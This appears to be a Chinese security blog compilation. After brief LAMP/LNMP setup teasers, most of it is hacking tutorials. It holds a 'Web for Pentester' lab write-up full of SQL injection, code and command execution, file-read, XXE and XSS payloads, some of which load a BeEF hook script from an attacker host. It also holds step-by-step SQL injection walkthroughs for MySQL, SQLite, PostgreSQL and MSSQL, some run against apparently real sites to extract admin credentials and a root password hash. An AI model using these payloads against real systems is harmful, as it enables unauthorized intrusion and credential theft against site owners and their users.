httpd 2.4.27 + php 5.6.31 + mysql 5.5.57 + centOS6.8_x64


一、首先,部署apache

0x01 还是接着我们之前准备好的系统继续,首先,将所有准备安装的源码包上传至服务器,软件包列表如下:

1
2
3
4
5
6
7
apr-1.6.2.tar.gz
apr-util-1.6.0.tar.gz
cronolog-1.6.2.tar.gz
libiconv-1.14.tar.gz
httpd-2.4.27.tar.gz
mysql-5.5.57.tar.gz
php-5.6.31.tar.gz

要最终完成的架构如下:

1
httpd 2.4.27 + php 5.6.31 + mysql 5.5.57 + centOS6.8_x64

Read More

php5.5.38 + mysql-5.5.32 + nginx-1.12.1 + centOS6.8_x64


一、首先,部署nginx

0x01 依旧接着我们之前准备好的系统继续,首先,将所有准备安装的源码包上传至服务器,软件包列表如下:

1
2
3
4
libiconv-1.14.tar.gz
mysql-5.5.32-linux2.6-x86_64.tar.gz
nginx-1.12.1.tar.gz
php-5.5.38.tar.gz

此次要实现的大致架构如下:

1
php5.5.38 + mysql-5.5.32 + nginx-1.12.1 + centOS6.8_x64

Read More

httpd 2.2.34 + mysql 5.1.68 + centOS 6.8_x64 + php 5.2.17



一、首先,部署apache

0x01 还是接着我们之前准备好的系统继续,首先,将所有准备安装的源码包上传至服务器,软件包列表如下:

1
2
3
4
5
6
7
8
httpd-2.2.34.tar.gz
libiconv-1.14.tar.gz
libmcrypt-2.5.8.tar.gz
mcrypt-2.6.8.tar.gz
mhash-0.9.9.9.tar.gz
mysql-5.1.68.tar.gz
php-5.2.17.tar.gz
cronolog-1.6.2.tar.gz

本次要完成的大致架构如下:

1
httpd 2.2.34 + mysql 5.1.68 + centOS 6.8_x64 + php 5.2.17

Read More

php5.3.27 + mysql-5.5.32 + nginx-1.10.3 + centOS6.8_x64


一、首先,部署nginx

0x01 依旧接着我们之前准备好的系统继续,首先,将所有准备安装的源码包上传至服务器,软件包列表如下:

1
2
3
4
5
libiconv-1.14.tar.gz
libmcrypt-2.5.8.tar.gz
mysql-5.5.32-linux2.6-x86_64.tar.gz
nginx-1.10.3.tar.gz
php-5.3.27.tar.gz

此次要实现的大致架构如下:

1
php5.3.27 + mysql-5.5.32 + nginx-1.10.3 + centOS6.8_x64

Read More

web for pentester writeup

sql注入:

(1)没有任何过滤的拼接
''

1
http://192.168.3.51/sqli/example1.php?name=root' and 1=12 union select version(),user(),database(),4,5 --+-

''

(2)只过滤了空白符,用/**/代替即可
''

1
http://192.168.3.51/sqli/example2.php?name=root'/**/and/**/1=112/**/union/**/select/**/1,database(),3,4,5/**/%23

''

(3)跟上面一样,只不过这次过滤了多个空白符,bypass方法同上
''

1
http://192.168.3.51/sqli/example3.php?name=root'/**/and/**/1=12/**/union/**/select/**/user(),2,3,4,5/**/%23

''

(4)用mysql_real_escape_string()把传过来的id先转义再拼接,其实这里跟没任何过滤是一样的,因为我们的注入语句里根本也没有单引号这类敏感字符
''

1
http://192.168.3.51/sqli/example4.php?id=2 and 12=1 union select 1,version(),3,4,5 %23

''

(5)要求开头是任意数字,开头本来就是数字呀,搞不懂,所以根本不存在什么绕过,正常写注入语句即可
''

1
http://192.168.3.51/sqli/example5.php?id=2 and 1=12 union select version(),2,3,4,5 %23

''

(6)要求结尾是任意数字,那就按它说的呗,结尾随便给个数字就好了
''

1
http://192.168.3.51/sqli/example6.php?id=2 and 1=12 union select version(),2,3,4,5 %233

''

(7)注意这里的’/m修饰符,对,没错,就是它,表示多行匹配,所以用%0a换行下即可绕过
''

1
http://192.168.3.51/sqli/example7.php?id=2%0aand%0a1=112%0aunion%0aselect%0auser(),2,3,4,5%0a%23

''

(8)用mysql_real_escape_string()做了下转义,而后再拼接,不过需要注意下,这里是用反引号闭合的,虽然没法正常注入,不过盲注依然可行的
''

1
http://192.168.3.51/sqli/example8.php?order=name`,(if((ascii(mid((select version()),1,1))=53),sleep(5),1))%23

''

(9)同上,利用时间盲注依然是可行的
''

1
http://192.168.3.51/sqli/example9.php?order=name,(if((ascii(mid((select version()),1,1))=53),sleep(5),1))%23

''

php代码执行:

(1)把没有任何过滤的内容就直接给eval,将前后的双引号闭合即可
''

1
http://192.168.3.51/codeexec/example1.php?name=";system('ls -la');phpinfo();//

''

(2)同样,对传入的值没有任何过滤,crate_function()相必大家都已经非常熟悉了,专门用来组装函数,在以前的各类php代码执行漏洞中经常能看到它的影子,它会出现代码执行的根本原因还是它内部还会有个eval的动作
''

1
http://192.168.3.51/codeexec/example2.php?order=id,$b->name);}system('ls -al');//

''

(3)preg_replace()本来是个挺正常的正则替换函数,但加了/e修正符后,瞬间就污了很多,要替换的内容的那一部分会被当做php代码来执行
''

1
http://192.168.3.51/codeexec/example3.php?new=system('ls -l')&pattern=/lamer/e&base=Hello lamer

''

(4)闭合前面的单引号,再拼接自己的php代码即可,典型的代码执行函数assert(),不多说,大家应该非常熟悉了,各类php一句话中经常也能看到
''

1
http://192.168.3.51/codeexec/example4.php?name=hacker'.system('ls -la');//

''


任意文件读取:

(1)对传入的文件路径没有进行任何过滤,直接跟上要读的文件即可
''

1
http://192.168.3.51/dirtrav/example1.php?file=../../../../etc/passwd

''

(2)把’/var/www/files/‘这个路径截掉,然后只取后面的文件名,绕过自然也很简单,在这个路径的基础上继续跟上正常的文件路径即可
''

1
http://192.168.3.51/dirtrav/example2.php?file=/var/www/files/../../../../etc/passwd

''

(3)拼接了个.png的后缀,%00截断后缀php高版本早已修复该漏洞
''

1
http://192.168.3.51/dirtrav/example3.php?file=../../../../etc/passwd%00

''

php文件包含:

(1)没有任何过滤的包含,直接包含本地的webshell即可,如下,被包含的大马正常执行
''

1
http://192.168.3.51/fileincl/example1.php?page=../upload/images/404.php

''

(2)在后面拼接了个.php的后缀,同样,利用%00截断
''

1
http://192.168.3.51/fileincl/example2.php?page=../upload/images/404.php%00

''

命令执行:

(1)没有任何过滤的传入,在linux中可用分号分割连续执行多个命令,win中可用&&
''

1
http://192.168.3.51/commandexec/example1.php?ip=127.0.0.1;ls -la

''

(2)一眼看去,这个ip正则确实没法突破,但后面却紧跟了个/m修饰符,不得不又让我想起了%0a换行
''

1
http://192.168.3.51/commandexec/example2.php?ip=127.0.0.1%0als -la

''

(3)header()后面竟然没有结束脚本,大忌,header()只是跳转到指定页面,但如果你不手工结束当前脚本,即使跳到别的页面,当前脚本也依然会执行完再退出
''

1
2
http://192.168.3.51/commandexec/example1.php?ip=127.0.0.1;ls -la
C:\>curl "192.168.3.51/commandexec/example3.php?ip=127.0.0.1;ls" 注意这里不能用浏览器了,因为它会跳过去,不过,你可以用curl来看结果

''

XXE注入:

(1) 对外部的xml数据没有任何过滤,此时创建一个外部实体,而实体的作用是读取/etc/passwd文件,然后引用该实体,注意要url编码下
''

1
2
http://192.168.3.51/xml/example1.php?xml=<!DOCTYPE result [<!ENTITY res SYSTEM "file:///etc/passwd" >]><text>&res;</text>
http://192.168.3.51/xml/example1.php?xml=%3C%21DOCTYPE%20result%20%5B%3C%21ENTITY%20res%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%20%3E%5D%3E%3Ctext%3E%26res%3B%3C%2ftext%3E

''

(2)没有任何过滤的拼接
''

1
http://192.168.3.51/xml/example2.php?name=hacker'] | //*| //*['

''



ladp注入:

(1)ldap允许匿名登录
''

1
http://192.168.3.51/ldap/example1.php

''

(2)闭合原有的过滤器,把后面的password截断即可
''

1
http://192.168.3.51/ldap/example2.php?name=hacker)(cn=*))%00&password=hacker



xss:

(1)没有任何过滤的情况
''

1
http://192.168.3.51/xss/example1.php?name=<script>alert('hello')</script>

''

(2)只过滤了’‘,大小写转换
''

1
http://192.168.3.51/xss/example2.php?name=<Script>alert('hello')</sCript>

''

(3)这次依然是过滤’‘,且不区分大小写,在>前面加个空格即可绕过
''

1
http://192.168.3.51/xss/example3.php?name=<ScripT >alert('hello')</Script >

''

(4)不分区大小写过滤了’script’字符,没关系,把它转成对应的ASCII就好了
''

1
http://192.168.3.51/xss/example4.php?name=<svg/onload="var i=String.fromCharCode(115, 99, 114, 105, 112, 116);s = createElement(i);body.appendChild(s);s.src='http://192.168.3.28:3000/hook.js';"

''

(5)过滤了alert,可惜我们都没用alert
''

1
http://192.168.3.51/xss/example5.php?name=hacker<script src="http://192.168.3.28:3000/hook.js"></script>

''

(6)闭合前面的双引号,继续写js代码就好了
''

1
http://192.168.3.51/xss/example6.php?name=script";s=document.createElement($a);s.src="http://192.168.3.28:3000/hook.js";document.getElementsByTagName( "head" )[0].appendChild(s);//

''

(7)对特特殊字符进行实体化,但这似乎并没能改变什么
''

1
http://192.168.3.51/xss/example7.php?name=script';s=document.createElement($a);s.src='http://192.168.3.28:3000/hook.js';document.getElementsByTagName( 'head')[0].appendChild(s);//

''

(8)闭合action的另一半双引号,后面再跟上script标记即可绕过
''

1
http://192.168.3.51/xss/example8.php/"><script>alert('hello')</script>

''

(9)location.hash.substr获取的内容没有任何过滤
''

1
http://192.168.3.51/xss/example9.php#<script src=http://192.168.3.28:3000/hook.js></script>

''

php文件上传:

(1)没有任何过滤,直接传php,大马正常执行
''

1
http://192.168.3.51/upload/example1.php

''

''

(2)黑名单绕过,只要.php后缀,.php3即可绕过
''

1
http://192.168.3.51/upload/example2.php

''

''



小结:
    闲的没事儿,拿来跑跑,没啥技术含量,顺带记录下,只为留给有需要的人

bypass waf入门之sql注入 [ 内联注释篇 ]

0x01 前言
    昨天在搞一个目标的旁站时凑巧又碰到了waf,当然啦,这个waf比较弱,基本是弱到没朋友的那种,但为了博客的完整性,这里还是顺便就记录一下,留给有需要的朋友,方法非常简单,关于bypass waf的东西其实特别多,这里暂时只提一种,”内联注释”,招数早已经烂大街了,后续再遇到其它的bypass实例,也会继续更新到博客上,废话少说,看实例吧:

0x02 依旧是先判断注入点是否存在,很显然,’and’没有拦

1
2
http://www.target.com/news/show1.php?id=1102 And 1212=1212 返回正常
http://www.target.com/news/show1.php?id=1102 And 1212=121 返回异常,注入存在

''
''

0x03 我们观察到,当字段个数为11的时候页面返回正常,说明当前表字段个数为11个,’order by’ 也没有拦,到这里为止,凭着一点经验自己心里就有种感觉,这个waf肯定非常好过,接着往下看吧

1
http://www.target.com/news/show1.php?id=1102 OrDer by 11

''

0x04 开始搜集信息,这时我们发现waf似乎开始起作用了,拦了我们的内置函数

1
http://www.target.com/news/show1.php?id=1102 And 1=12 +UNION+ALL+SELECT+1,2,user(),version(),database(),6,7,8,9,10,11 --+-

''

0x05 既然拦了函数,咱们就把函数给注释一下看看,然后就这么容易的通过了[以为还要折腾很久],好吧,既然它对这种内联注释感冒,那后面我就把所有的关键字都用这种方式包起来,省的我一个个猜它到底拦哪个

1
http://www.target.com/news/show1.php?id=1102 And 1=12 +UNION+ALL+SELECT+1,2,/*!user()*/,version(),database(),6,7,8,9,10,11 --+-

''

0x06 查询当前库中的所有表,这类我们看到了’t_admin’这张管理表

1
http://www.target.com/news/show1.php?id=1102 aNd 1=12 +/*!UNION+ALL+SELECT*/+1,2,/*!group_concat(table_name)*/,/*!version()*/,/*!database()*/,6,7,8,9,10,11 from /*!information_schema.tables*/ /*!where*/ /*!table_schema*/=0x686e797075686b315f7363686f6f6c --+-

''

0x07 查询’t_admin’表中的所有字段名,如下

1
http://www.target.com/news/show1.php?id=1102 ANd 1=12 +/*!UNION+ALL+SELECT*/+1,2,/*!group_concat(column_name)*/,/*!version()*/,/*!database()*/,6,7,8,9,10,11 from /*!information_schema.columns*/ /*!where*/ /*!table_name*/=0x745f61646d696e --+-

''

0x08 就剩最后一步了,查出管理员的账号密码即可

1
http://www.target.com/news/show1.php?id=1102 anD 1=12 +/*!UNION+ALL+SELECT*/+1,2,/*!admin_name*/,/*!admin_password*/,5,6,7,8,9,10,11 from /*!t_admin*/ /*!limit*/ 0,1--+-

''

小结:
    没啥实际的技术含量,只是为了博客完整性稍作记录而已,关于bypass waf后续还会有很多的篇幅来说明,待续…

sql注入入门 之 sqlite3常规注入 [ union方式 ]



1,本次 sqlite3 实例注入点,如下:

1
http://vuln.com/index.php?id=50&ca=7

''

2,依旧是迷人的单引号,尝试干扰id参数,返回sqlite数据库报错,具体报错信息如下

1
http://vuln.com/index.php?id=50'&ca=7

''

3,尝试闭合

1
http://vuln.com/index.php?id=50 and 1=1 &ca=7 条件为真时,页面返回正常,数字型注入

''

1
http://vuln.com/index.php?id=50 and 1=112 &ca=7 条件为假时,页面

''

4,查询当前表中的字段个数

1
http://vuln.com/index.php?id=50 order by 38 &ca=7 个数为38时返回正常

''

1
http://vuln.com/index.php?id=50 order by 39 &ca=7 个数为39时返回错误,说明当前表存在38个字段

''

8,执行union爆出对应的数据显示位,这个的显示位稍微有点儿跑偏,数据显示位在title标记里,你可以右键源代码进行查看

1
http://vuln.com/index.php?id=50 and 1=123 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38--&ca=7

''

9,有了数据位,接下来正常的查数据就可以了,还是先搜集下数据库信息,获取当前sqlite版本

1
http://vuln.com/index.php?id=50 and 1=123 UNION SELECT 1,sqlite_version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38--&ca=7

''

10,查出所有表名,这里可以用burpsuite来跑比较方便

1
http://vuln.com/index.php?id=50 and 1=123 UNION SELECT 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38 FROM sqlite_master WHERE type='table' limit 0,1 --&ca=7

''

''

''

''

11,直接一次性查出所有表名及每张表所对应的表结构

1
http://vuln.com/index.php?id=50 and 1=123 UNION SELECT 1,sql,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38 FROM sqlite_master WHERE type='table' limit 0,1 --&ca=7

''

''

''

12,查出对应字段下的账号密码数据

1
http://vuln.com/index.php?id=50 and 1=123 UNION SELECT 1,login||'::'||pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38 FROM utilisateurs limit 0,1 --&ca=7

''

一点小结:
    关于sqlite注入实在没什么好说的,非常简单,作为access的替代品,在注入方式上几乎没什么不同,多找实例练习即可……

sql注入入门 之 postgresql常规注入 [ union方式 ]



1,用于演示的 postgresql 常规注入点,如下:

1
http://192.168.3.51/cat.php?id=1

''

2,依然是一个神奇的单引号,pgsql返回报错,这里可能需要您稍微注意下pgsql的报错信息,pg_前缀一般指的都是postgresql数据库,而像ora前缀一般指的都是oracle数据库,mysql一般都是mysql的前缀,稍微注意下就行

1
http://192.168.3.51/cat.php?id=1'

''

3,典型的常规数字型注入

1
http://192.168.3.51/cat.php?id=1 and 1=1 条件为真时,页面返回正常

''

1
http://192.168.3.51/cat.php?id=1 and 1=112 条件为假时,页面返回异常

''

4,查询当前表的字段个数

1
http://192.168.3.51/cat.php?id=1 order by 4 字段个数为4时返回正常

''

1
http://192.168.3.51/cat.php?id=1 order by 5 字段个数为5时返回错误,可知当前表的字段个数为4

''

5,因为postgresql不支持像mysql或者access那样直接用数字来表示,所以这里只能用null来表示,null可以兼容任意数据类型嘛,sqlmap默认都是用null进行探测

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,null,null,null --

''

6,在得知确切的字段个数后,紧接着就该爆出数据显示位了,这里依然不像数字那么直接,我们需要逐个字段尝试可以正常显示数据的字段位,因为union要求前后的数据字段类型和个数都要完全一致才可以,利用这一特性,我们可以知道某个字段是什么数据类型,可以看到第二个字段是字符型的,也就是说我们等会儿可以把查出来的数据都显示在这个字段上

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,'s',null,null --

''

7,搜集数据库的各种信息
获取当前数据库版本

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,version(),null,null --

''

获取当前数据库用户名

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,current_user,null,null --

''

获取当前当前数据库名

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,current_database(),null,null--

''

8,获取当前数据库中所有具有dba(数据库管理员)权限的用户,同样是利用limit即可依次遍历出所有具有dba权限的用户名,只不过这里的limit和mysql中的limit有点儿不大一样,中间并不是用逗号而是直接用了个offset关键字,来设置偏移量

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,usename,null,null FROM pg_user WHERE usesuper IS TRUE limit 1 offset 0--

''

9,获取所有的数据库名(有权限看到的所有数据库名),同样是利用limit即可依次遍历出所有数据库名,实际注入中,用burupsuite跑下即可
如下,获取第一个数据库名

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,datname,null,null from pg_database limit 1 offset 0 --

''

如下,获取第二个数据库名

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,datname,null,null from pg_database limit 1 offset 1 --

''

10,获取当前库中所有的表名
获取第一张表名

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,tablename,null,null from pg_tables where schemaname='public' limit 1 offset 0 --

''

获取第二张表名,看到’users’ 正是我们想要的管理表

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,tablename,null,null from pg_tables where schemaname='public' limit 1 offset 1 --

''

11,获取users表中的所有字段名
获取users表中的第二个字段名,其结果为’password’

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,column_name,null,null from information_schema.columns where table_name='users' limit 1 offset 1 --

''

获取user表中的第三个字段名,其结果为’login’

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,column_name,null,null from information_schema.columns where table_name='users' limit 1 offset 2 --

''

12,获取对应账号密码字段的数据即可

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,login||'::'||password,null,null from public.users--

''

最终,获取到的数据如下

1
admin::8efe310f9ab3efeae8d410a8e0166eb2




一点小结:
    关于pgsql的常规手注大概就这些了,跟mysql还有mssql的注入都非常接近,比较简单,就不多说了,大家多练习,多实战,然后不断解决实际中遇到的各种各样的问题,长此以往快就能慢慢积累自己的实战经验了,进步自然就稳健多了……

sql注入入门 之 mssql常规显错注入



1,mssql常规显错型,实例注入点,如下:

1
http://vuln.com/Product.aspx?id=8

''

2,依旧先尝试经典的单引号,数据库如期报错,报错原因的很清楚,参数后面多了单引号,不过这也恰好说明我们的单引号已被带入正常查询,其实,到此为止,根据以往的经验我们也可以判断这里百分之九十是个mssql注入点,因为这很显然不是其他数据库的报错信息嘛

1
http://vuln.com/Product.aspx?id=8'

''

1
http://vuln.com/Product.aspx?id=8 and 1=1 条件为真,页面返回正常

''

1
http://vuln.com/Product.aspx?id=8 and 1=112 条件为真,页面返回异常,典型的数字型注入

''

3,我们可以用下面的语句进一步确实目标是否真的为mssql数据库,页面返回正常则是,返回异常则不是,根据返回,没跑了,这确实是个正儿八经的mssql数据库,’sysobjects’是mssql的系统表

1
http://vuln.com/Product.aspx?id=8 and exists(select * from sysobjects)

''

4,好吧,没说的,开始写注入语句,获取当前mssql版本,可知当前数据库版本为 2008R2

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(select @@VERSION))--

''

5,获取目标机器的机器名,看机器名主要是因为有时候我们想从机器名上得知这个机器大概是干嘛的,有没有可能在内网,都可以通过这个来初步判断下

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select @@servername))--

''

6,获取当前的数据库用户名,当前数据库用户名为 ‘easysofts_kiran’,非sa,关于sa权限下的注入利用方式,后续还会有单独说明,今天的重点还是显错注入,所以为了防止跑题,这里就不多说了

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(select suser_sname()))--

''

7,看下目标的xp_cmdshell存储过程是否还在,主要是想看它有没有被删掉,你也可以用这种方式来查询其它你想知道的任何存储过程

1
http://vuln.com/Product.aspx?id=8 and 1=(select count(*) from master..sysobjects where xtype = 'x' and name = 'xp_cmdshell') --

''

8,看下当前角色是否为数据库管理员,返回如下报错,很显然,并不是

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(SELECT is_srvrolemember('sysadmin')))--

''

9,再看下当前角色是否为db_ownwer,我们很清楚,在这样的权限下我们可以通过各种备份方式往目标的网站目录里写文件(webshell),很显然,也不是

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select IS_MEMBER('db_owner')))--

''

10,根据上面得到的这些信息,我们发现,这就是个再正常不过的显错mssql数字型注入点,好吧,既然如此,那就按照常规查数据的方式一步步的慢慢来吧
首先,获取当前数据库名,如下可知当前数据库名为 ‘easysofts’,db_name()在不带任何参数时表示显示当前数据库名

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(select db_name()))--

''

如下表示第二个数据库名

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(select db_name(1)))--

''

如下表示第六个数据库名,像这样重复性的动作,我们依然是可以交给burpsuite来完成

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(select db_name(5)))--

''

当然,在此之前你还可以先统计下总共有多少个库,这样,我们在burpsuite中设置payload的时候就可以更精确点了,节省时间,不过,如果你直接使用下面的语句可能会报错

1
http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]..[sysdatabases] )+CHAR(58)+CHAR(58)))--

''

把里面的’+’换成%2b即可解决问题,如下

1
http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]..[sysdatabases] )%2bCHAR(58)%2bCHAR(58)))--

''

11,获取当前数据库中的所有表名
如下表示获取当前库的第一张表名

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 table_name from information_schema.tables ))--

''

通过not in条件,把每次查出来的表名都加进去,这样就可以慢慢把所有的表都遍历出来,如下表示获取第二张表名

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('photoGalary') ))--

''

获取第三张表名

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('photoGalary','menu') ))--

''

获取第四张表名

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('photoGalary','menu','Login') ))--

''

利用上面的方法,循环往复,直到报错为止,最后得到所有的表名如下,很显然,’login’就是我们想要的管理表

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('photoGalary','menu','Login','footer','feedback','header','slider','services','product') ))--

''

当然,你也可以像前面一样,事先统计下当前库中表的总个数:

1
http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM information_schema.TABLES )%2bCHAR(58)%2bCHAR(58)))--

''

12,接着,获取’login’表中的所有字段名,获取的方式同上,利用not in依次遍历出所有的字段名

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='login' ))--

''

最后,获取的所有字段,名如下

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='login' and column_name not in('login_id','username','password','name') ))--

''

13,有了表名,字段名接下来的事情就很好办了,直接去查出对应字段下的数据即可
获取username字段下的第一条数据

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 username from login ))--

''

获取password字段下的第一条数据

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 password from login ))--

''

统计login中有多少条记录

1
http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM login)%2bCHAR(58)%2bCHAR(58)))--

''

假设你在当前库中并没有看到管理表,这时不妨尝试跨库查,前提是你要有权限才行,如下就表示没权限,如果是这样你就要好好想想别的办法了:

1
http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top 1 TABLE_NAME FROM riseyour_availbgur.information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC))--

''

一点小结:
    关于mssql的注入语句,大家也看到了,跟mysql也差不了多少,都是从information_scheam库中获取各种数据,不过,核心还是利用convert()函数的高级显错特性,多练习多总结即可,里面暂时也没什么特别多的技术含量,比mysql好的地方就是它可能支持堆查询,这样在写注入语句的时候就很方便了,在此只是为了让大家看的更完整一些,所以写的相对比较细,在实际渗透中,怎么简洁,怎么快,怎么方便,怎么搞,完全不用刻意去按照我们的流程来,举一反三,灵活变通才是关键当然,mssql本身还有很多高级特性,但,这不是一两篇文章就能说的清楚的,来日方长,慢慢积累吧……

sql注入入门 之 mysql宽字节注入



1,如下,宽字节注入的原型实例代码,注意连接字符集为gbk,对传入的值已用addslashes()做了转义,另外,php是把id当做一个字符串来接收的,后面在闭合的时候需要注意下,具体如下:
''

2,本此用于测试的 宽字节注入点,如下

1
http://192.168.3.23/wide/0x01/index.php?id=2

''

3,这时当我们用经典的单引号尝试对传入参数进行干扰时发现,貌似并没有任何反应,原因很明显,因为addslashes()已经把我们提交的单引号给转义了

1
http://192.168.3.23/wide/0x01/index.php?id=2'

''

4,现在,我们就可以尝试利用宽字符来突破类似的转义问题,这里使用经典的%df宽字符,如下,页面返回数据库报错,说明我们的单引号已经被带入正常的sql语句中执行查询了,也就是说,用于转义的那个’\’已经罢工了
''

5,通过观察打出来的sql语句,可以发现,那个 ‘%df’和’\’ 在gbk字符编码中变成了‘運’字,所以这才会造成转义才会失效,既如此,闭合自然就非常简单了,因为是字符型注入,只需要把前面的单引号闭合,后面的语句直接注释掉即可,具体的注入语句如下

1
http://192.168.3.23/wide/0x01/index.php?id=2%df'and 1=1 %23 条件为真时返回正常

''

1
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 %23 条件为真时返回异常

''

6,查询当前表的字段个数

1
http://192.168.3.23/wide/0x01/index.php?id=2%df' order by 3 %23 为3时返回正常

''

1
http://192.168.3.23/wide/0x01/index.php?id=2%df' order by 4 %23 为4时返回异常,说明当前表有3个字段

''

7,执行union,爆出对应的数据显示位

1
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=21 UNION SELECT 1,2,3 %23

''

8,搜集当前数据库信息,这里只是为了给大家演示下宽字节的正常注入流程,就不再尝试读写文件了,暂时按照正常的权限来,有兴趣可自行尝试

1
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=21 UNION SELECT 1,database(),version() %23

''

9,查出当前库中的所有表名

1
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=0x64617461 %23

''

10,查出admin表中的所有字段名

1
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,group_concat(column_name),user() from information_schema.columns where table_name=0x61646d696e %23

''

11,最后,去查出管理的账号密码数据即可

1
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,name,pass from admin limit 0,1 %23

''

一点小结:
    篇幅原因,这里只简单演示了GBK一种编码,至于GB2312等其它的一些宽字节字符集,也都会有这样的问题,关于宽字节注入,其实原理非常简单,就是数据库对不同编码的理解差异所造成的,最好的修复方法,就是全站(前后端全局统一)统一用utf-8,在适当的闭合后,注入语句和常规的注入语句基本没有任何差别,记得多找实例练习即可

sql注入入门 之 mysql root权限下的注入利用方式



1,mysql root权限,实例注入点,如下:

1
http://vuln.com/news_view.php?id=9&vid=192

''

2,尝试用单引号去干扰vid参数,数据库报错,唉,竟然没顺带一起丢出目标网站的物理路径,差评,嘿嘿……

1
http://vuln.com/news_view.php?id=9&vid=192'

''

3,尝试闭合

1
http://vuln.com/news_view.php?id=9&vid=192 and 1=1 这次看来是个标准的mysql数字型注入了,条件为真时页面返回正常

''

1
http://vuln.com/news_view.php?id=9&vid=192 and 1=112 条件为假时页面返回异常,再次注入点确实存在

''

4,获取当前表的字段个数,为后面union做准备

1
http://vuln.com/news_view.php?id=9&vid=192 order by 31 个数为31目标页面返回正常

''

1
http://vuln.com/news_view.php?id=9&vid=192 order by 32 个数为32时页面返回错误,可知当前表的字段个数为31

''

5,开始执行union爆出对应的数据显示位

1
http://vuln.com/news_view.php?id=9&vid=192 and 1=12 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 %23

''

6,搜集数据库信息,如下可知,这是个root权限的注入点,既然是root,那就好办了

1
http://vuln.com/news_view.php?id=9&vid=192 and 1=12 UNION SELECT 1,2,3,4,5,user(),7,8,9,10,11,12,13,14,15,16,version(),18,19,20,@@basedir,22,23,24,25,26,27,28,29,30,31 %23

''

7,因为是真实站点,我就不瞎动别人东西了,希望大家也养成这样的习惯,不要随意去碰别人的东西,尤其是一些可能存在潜在危险的敏感操作,这里只是单纯查查肯定是没什么问题了,如果是别的就不一定了,(此后的所有的演示说明都是如此,一律点到为止,杜绝’深入探讨’),后面关于读写文件的操作,等会儿都会留在本地做,这里我们就尝试把它的root的密码hash查出来就可以了

1
http://vuln.com/news_view.php?id=9&vid=192 and 1=12 UNION SELECT 1,2,3,4,5,user,7,8,9,10,11,12,13,14,15,16,password,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from mysql.user limit 0,1 %23

''

8,最终,得到的root的密码hash如下,如果是实际测试,你还可以顺手telnet下目标的3306,假设目标的mysql能外联,直接用nvaicat连上去操作也许会更方便点

1
root : *13A03393631C03176D03A9F5C13CB*******




